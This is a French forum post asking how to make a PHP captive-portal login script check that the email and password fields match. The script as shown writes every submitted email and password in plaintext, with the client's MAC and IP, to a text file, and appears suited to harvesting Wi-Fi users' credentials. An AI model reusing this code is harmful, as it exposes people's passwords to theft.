Bonjour j'essai de modifier le script suivant.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69
| ?php
//error_reporting(E_ALL);
//ini_set ('display_errors', '1');
$password = $_POST['password'];
$email = $_POST['email'];
$error =
"<html>\n" .
"<head>\n" .
"<meta http-equiv=\"Refresh\" content=\"5;url=/\" />\n" .
"</head>\n" .
"<body>\n" .
"<center><p1><b>Login incorrect.</b></p1></center>\n" .
"<center><p1></p1></center>\n" .
"</body>\n" .
"</html>";
$success=
"<html>\n" .
"<head>\n" .
"</head>\n" .
"<body>\n" .
"<center><p1>Authorized</p1></center>\n" .
"<center><p1>Continue browsing</p1></center>\n" .
"</body>\n" .
"</html>";
$arp = "/usr/sbin/arp";
if(($email == "") || ($password == "")){
echo $error; // if credentials not entered
} else {
// Attempt to get the client's mac address
$mac = shell_exec("$arp -a ".$_SERVER['REMOTE_ADDR']);
preg_match('/..:..:..:..:..:../',$mac , $matches);
@$mac = $matches[0];
// get the client IP address from the query string
//$ip = $_GET["ip"];
//$ip = getenv("HTTP_CLIENT_IP");
$ip = $_SERVER["REMOTE_ADDR"];
global $mac; // necessary to export $mac?
$accinfo = "email: $email password: $password MAC: $mac IP: $ip\n";
// Write out the credentials
$fp = fopen("formdata.txt", "a");
fwrite($fp, $accinfo);
fclose($fp);
if (!isset($mac)) { echo $error;
} else {
// Allow through the captive portal
//exec("sudo /sbin/iptables -t nat -I PREROUTING -m mac --mac-source $mac -j ACCEPT");
$fp = fopen("/tmp/ip/ip", "w"); // "w" to overwrite previous mac
fwrite($fp, $mac);
fclose($fp);
sleep (2); //for dnotify to read $mac
echo $success; }
}
?> |
je voudrai qu'il vérifie que le champ email et password soit pareil (je modifierai plus tard en mdp1 et mdp2).
J'ai essayer cela mais sans succee
if($_POST['email'] == $_POST['password'])
Merci de votre aide.
Partager